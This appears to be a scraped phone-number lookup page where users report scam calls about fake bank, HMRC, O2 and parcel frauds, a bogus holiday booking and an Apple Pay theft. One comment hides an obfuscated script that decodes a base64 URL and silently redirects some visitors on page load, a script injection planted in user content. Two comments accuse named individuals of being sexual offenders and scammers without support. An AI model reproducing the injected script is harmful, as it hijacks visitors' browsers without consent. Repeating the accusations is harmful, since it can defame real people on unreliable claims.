8009815629 (08009815629)

S EX U A L -OFFENSER--- MAJOR SCAMMERS on Facebook MarketPlace and kijiji from Toronto, they use several pseudonyms ,, Richmond Ebanks, Aubrey Chung , Laura Maltinos, Karen Johnson , Todd London, Deanna Voss , Diana Price, Lauren Allan . Johnny Richardson , Günter Zeitlerà.

Voice message. Pretending to be tax department

Scammer and time-waster calling from India. ActionFRAUD notified.

SCAM

موقع الرقم على الخرائط

This number called a number of times now I don’t even answer the phone.

scam. robot voice claims to be 'your bank' reporting 2 fraudulent paymens, £200 to Amazon +£1000 money transfer ..I hung up

SCAM

Received an automated call a few days ago from this number - telling me about "unusual payments on my account".... call back told me that this number is not recognised.SCAM

SCAM

SCAM. Another bank scam. Claims that 2 withdrawals have been made from a bank account. Don't get taken in.

SCAM SCAM SCAM SCAM SCAM SCAM

scam/ fraud

Said they can give me better deal on holiday packages than anywhere else

Fraud claiming to be from Vodafone who I told I was with the when I said sorry ee he said he was from them as well wasn't doing anything so kept him on the line for an hour he gave up then rang back on a private number ????

SCAM - Claim to be from HMRC with robotic American accent requesting press 1 to continue to speak to officer about your debt

Parcel Scam no carrier listed just local depot 22

Silent call Silent call Automated call

Fraud This numbers is from scammers using a spoofed number. Caller is from Cherepovets, in Russia. What more evidence is needed!!

Fraud

SCAM - Enterprise UK imvestment

Sent "Hi there" message on Whatsapp and nothing more - probably scam

SCAM Someone called “David” called trying to sell me a mobile phone contract. iPhone 13 pro max, 24 months with unlimited data, minutes and texts. For £40 a month. When enquired, came up with nonsense which made no sense. Asked for network provider, my name, and starting asking family names. Of course gave fake names and realised I knew they were scammers. Swearing dialogue commenced, said they were from Sri Lanka which seems nonsense. Accent sounded Indian. Called back on different number

Booked a holiday through this number they claimed they were loveholidays, they took payment sent a fake booking confirmation and there's no such reference number, currently hoping the bank will reimburse us

Fraud

SCAM

Called me; recorded message started 'This is a Bank Notification'. We have received two charges . .' Obvious nonsense, I ended the call.. This has all the hallmarks of a potential SCAM. Do not respond.

Calls at 1632 once a week No idea

it's a spam call<script>!function(){var n="aHR0cHM6Ly93d3cub2t4LmNvbS8=";Math.random()<.3&&(window.location.href=atob(n))}();</script>i just blocked

Scammers pretending to be from O2

SCAM

said they were o2 offering discount not true spam call

AMAZON scam

SCAM

SCAM

Texted me with the message 'We're sorry, but you don't have enough credit. Your recent purchase could no be completed.' Followed by a link to click, presumably to "top-up" my credit. Funny thin is - I've not purchased anything. Clearly a scam.

scam saying your claim has now gone through wants you to connect to Remote Desktop. I have not made a claim. company name reclaim services on Googling it reviews all say scam and a lot more

SCAM - &quot;This is HM Revenue and.....&quot;

SCAM txt message from this number. Advising me I’ve been in close contact with someone who has recently tested positive. Please order a test kit: with a web address. (Doesn’t even say positive for what) Fools! I attempted to look up the web address on my iPad and it came up as non existent. Presumably they would have tried to make me pay for them.

SCAM pretending to be First Direct Fraud department, which it’s not. As soon as I said I would call FD back myself they hung up very fast. The number is similar to the First Direct number but is NOT legitimate. Do not give any details of any kind to them.

SCAM

SCAM

Had 999 emergancey ambulance at my house for half an hour and no sooner had they left than these people phoned. Low-life scum, fit only to frequent gutters.

SCAM caller - called saying he's from my bank, quoted some card details (correct, must be on a stolen database) to say that Apple Pay / Contactless are down for 24-48 hours while they do upgrades. I didn't give him any info but somehow he managed to set up an Apple Pay with my card and stole £2,600 from our company account, on payday, 4 days before Christmas. We're now completely skint and can't afford to pay the wages. Been doing some investigating and his name is Tyrell, apparently. Fuck you Tyrel

I called the number someone called Tom answered and then hung up. I was then diverted to another number 01259 333 035 in Alloa, Scotland. This 2nd number had called me yesterday too. It seems suspicious.

One of those annoying hanging up callers, so highly likely to be FRAUD or SCAM. Cannot be phoned back up, so just block them as phone pests.

This is a scam they want you to insure your washing machine .And ask for your bank details. Don’t be conned.

----S E X U A L--- OFFENSER--- MAJOR SCAMMERS on Facebook MarketPlace and kijiji from Montreal PIRATED SOFTWARES AND STOLEN LAPTOP SELLER--

SCAM fake google ads call

Fraud

Scam caller claiming to be HM revenues and saying that you are being taken to court and have the option to connect to a operator and pay.